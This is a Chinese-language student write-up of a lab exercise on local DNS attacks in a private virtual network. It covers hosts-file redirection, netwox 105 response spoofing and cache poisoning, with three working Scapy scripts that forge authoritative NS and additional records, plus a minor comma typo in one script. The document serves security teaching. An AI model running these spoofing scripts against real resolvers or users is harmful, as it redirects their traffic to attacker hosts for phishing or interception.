Local DNS Attack

Overview

  • DNS(Domain name system)域名系统是工作在应用层上面,是对域名和IP地址进行转换的,类似于ARP和RARP协议

  • 在这里我们所要攻击的目标是本地的DNS服务器

  • 整个基本DNS的基本实现思路

    1-1

Part Ⅰ

task 1:配置用户机器

用sudo vi head来编辑head文件

1-2

同时检查/etc/resolv.conf,将其他nameserver进行注解,保证只有一个nameserver只想我们需要的本地DNS服务器(每次重启都需要进行检查)

1-3

之后进行测试,输入下面命令

dig www.baidu.com

之后可以在用户机器上面用wireshark抓到对应的包

1-4

可以看到用户机器(10.0.2.4)本地DNS服务器(10.0.2.5)发送了DNS请求并且本地DNS服务器进行了回复

task 2:建立一个本地DNS服务器

按照步骤来进行修改对应的文件

2-1

之后使用DNS服务器来进行查询,依旧是ping www.baidu.com

在本地的DNS服务器上面运行wireshark抓包,可以看到此时本地DNS服务器向一些DNS服务器进行询问

2-2

而之后再次在用户主机(10.0.2.4)上面ping www.baidu.com,会发现此时在**本地DNS服务器(10.0.2.5)**上面用wireshark抓包会发现没有对应的向其他DNS服务器询问的过程,而是直接访问了百度对应的主机

2-3

可以看到没有访问根服务器来进行递归查询的过程

task 3:在本地DNS服务器上面设置域

Part Ⅱ

  • 基本原理:在用户机器发送了一个DNS请求报文之后,攻击者伪造一个DNS response报文,将对应的域名定位到一台恶意主机

    4-0

task 4:修改主机文件

  • 原理:在用户主机上面保存着一些host name和IP地址对应关系的条目,位于/etc/hosts中,这用来进行本地查找,并且会优先与DNS查询来进行,在这里进行修改的是用户主机

  • 具体实现:

    • 首先在进行修改HOST文件之前进行ping

      4-1

    • 之后对HOST文件进行修改,选择将其重定位到百度的IP

    • 然后重新进行ping

      4-2

      会发现已经重定位到了百度的IP地址

task 5:对用户直接欺骗响应

  • 原理:嗅探与欺骗,一些要求如下

    1. The source IP address must match the IP address of the DNS server.
    2. The destination IP address must match the IP address of the user’s machine.
    3. The source port number (UDP port) must match the port number that the DNS request was sent to (usually port 53).
    4. The destination port number must match the port number that the DNS request was sent from
    5. The UDP checksum must be correctly calculated.
    6. The transaction ID must match the transaction ID in the DNS request.
    7. The domain name in the question section of the reply must match the domain name in the question section of the request.
    8. The domain name in the answer section must match the domain name in the question section of the DNS request.
    9. The User’s computer must receive the attacker’s DNS reply before it receives the legitimate DNS response.
  • 具体实现:

    • 首先在进行运行命令之前dig

      5-1

    • 之后在attacker(10.0.2.7)查看一下netwox 105相关的东西

      Title: Sniff and send DNS answers
      Usage: netwox 105 -h hostname -H ip -a hostname -A ip [-d device]
      Parameters:
       -h|--hostname hostname         hostname {www.example.com}
       -H|--hostnameip ip             hostname IP {1.2.3.4}
       -a|--authns hostname           authoritative name server {ns.example.com}
       -A|--authnsip ip               authns IP {1.2.3.5}
       -d|--device device             device name {Eth0}
       --help2                        display help for advanced parameters
      Example: netwox 105 -h "www.example.com" -H "1.2.3.4" -a "ns.example.com" -A "1.2.3.5"
      Example: netwox 105 --hostname "www.example.com" --hostnameip "1.2.3.4" --authns "ns.example.com" --authnsip "1.2.3.5"

      运行相关命令,在此之前刷新本地DNS的缓存

      sudo netwox 105 --hostname "www.example.net" --hostnameip "1.2.3.4" --authns "ns.example" --authnsip "1.2.3.5"
    • 运行结果

      5-2

task 6:DNS缓存中毒攻击

  • 在这里,因为按照上面方法攻击用户的话只能是每次用户发一个DNS请求就伪造一个DNS响应,所以我们采取攻击用户主机的本地DNS服务器的方式

  • 6-0

  • 具体实现:输入下面netwox命令

    sudo netwox 105 --hostname "www.example.net" --hostnameip "10.2.3.4" --authns "ns.example.net" --authnsip "10.2.3.5" --ttl 600 --filter "src host 10.0.2.5" --spoofip raw

    之后转存DNS缓存的内容,可以看到相应的欺骗的内容

    6-1

task 7:DNS缓存中毒:针对权限部分

在这里需要对于DNS报文格式、查询报文格式以及应答报文格式有所了解,参考blog:深入理解DNS报文格式

  • 这个task的原理就是在进行域名查询的时候进一步攻击DNS缓存,不仅仅是一个主机的映射,把整个域名映射到另一台DNS服务器上,而这台服务器是由attacker掌握的,这下就可以将原来域上的任何一个hostname映射到别的IP上面

  • 具体实现:在attacker上面运行相应的嗅探和欺骗程序,之后在用户主机上面dig www.example.com命令

    DNS报文格式

    6-2

    #!/usr/bin/python
    from scapy.all import *
    
    def spoof_dns(pkt):
        if (DNS in pkt and 'www.example.net' in pkt[DNS].qd.qname):
            # Swap the source and destination IP address
            IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
            # Swap the source and destination port number
            UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
            # The Answer Section
            Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',ttl=259200, rdata='10.0.2.123')
            # The Authority Section
            NSsec1 = DNSRR(rrname='example.net', type='NS', ttl=259200, rdata='attacker32.com')
            # The Additional Section       
            Addsec1 = DNSRR(rrname='attacker32.com', type='A', ttl=259200, rdata='10.2.3.4')
            # Construct the DNS packet
            DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,
                     qdcount=1, ancount=1, nscount=1, arcount=1,
                    an=Anssec, ns=NSsec1 ,ar=Addsec1)
            # Construct the entire IP packet and send it out
            spoofpkt = IPpkt/UDPpkt/DNSpkt
            send(spoofpkt)
            # Sniff UDP query packets and invoke spoof_dns().
    pkt = sniff(filter='udp and dst port 53', prn=spoof_dns)

    dig后的截图&wireshark抓包结果

    6-3

    6-4

task 8:瞄准另一个域

  • 实现的原理其实和上面并没有什么区别,只不过是额外多构造一个authority报文

  • 具体实现

    #!/usr/bin/python
    from scapy.all import *
    
    def spoof_dns(pkt):
        if (DNS in pkt and 'www.example.net' in pkt[DNS].qd.qname):
            # Swap the source and destination IP address
            IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
            # Swap the source and destination port number
            UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
            # The Answer Section
            Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',ttl=259200, rdata='10.0.2.123')
            # The Authority Section
            NSsec1 = DNSRR(rrname='example.net', type='NS', ttl=259200, rdata='attacker32.com')
            NSsec2 = DNSRR(rrname='google.com', type='NS', ttl=260000, rdata='attacker32.com') 	
            # The Additional Section
            Addsec1 = DNSRR(rrname='attacker32.com', type='A', ttl=259200, rdata='1.2.3.4')
            Addsec2 = DNSRR(rrname='attacker32,com', type='A', ttl=259200, rdata='5.6.7.8')
            
            # Construct the DNS packet
            DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,
                     qdcount=1, ancount=1, nscount=2, arcount=2,
                    an=Anssec, ns=NSsec1/NSsec2, ar=Addsec1/Addsec2) #ar=Addsec1
            # Construct the entire IP packet and send it out
            spoofpkt = IPpkt/UDPpkt/DNSpkt
            send(spoofpkt)
            # Sniff UDP query packets and invoke spoof_dns().
    pkt = sniff(filter='udp and dst port 53 ', prn=spoof_dns)

    运行截图,可以看到已经添加

    8-1

task 9:针对Additional部分

  • 具体实现

    #!/usr/bin/python
    from scapy.all import *
    
    def spoof_dns(pkt):
        if (DNS in pkt and 'www.example.net' in pkt[DNS].qd.qname):
            # Swap the source and destination IP address
            IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
            # Swap the source and destination port number
            UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
            # The Answer Section
            Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',ttl=259200, rdata='123.123.123.123')
            # The Authority Section
            NSsec1 = DNSRR(rrname='example.net', type='NS', ttl=259200, rdata='attacker32.com')
            NSsec2 = DNSRR(rrname='example.net', type='NS', ttl=259200, rdata='ns.example.net')
            # The Additional Section
            Addsec1 = DNSRR(rrname='attacker32.com', type='A', ttl=259200, rdata='1.2.3.4')
            Addsec2 = DNSRR(rrname='ns.example.net', type='A', ttl=259200, rdata='5.6.7.8')
            Addsec3 = DNSRR(rrname='www.facebook.com', type='A', ttl=259200, rdata='3.4.5.6')
            # Construct the DNS packet
            DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,
                     qdcount=1, ancount=1, nscount=2, arcount=3,
                    an=Anssec, ns=NSsec1/NSsec2, ar=Addsec1/Addsec2/Addsec3) 
            # Construct the entire IP packet and send it out
            spoofpkt = IPpkt/UDPpkt/DNSpkt
            send(spoofpkt)
            # Sniff UDP query packets and invoke spoof_dns().
    pkt = sniff(filter='udp and dst port 53', prn=spoof_dns)

    dig之后的显示

    9-1

    之后观察DNS缓存的情况

    9-2

    看到在additional部分中只有attacker32.com ->1.2.3.4和ns.example.net ->5.6.7.8成功的存入DNS缓存,我认为这是由于只有在Additional和Authority匹配的时候才会存入DNS缓存当中

复盘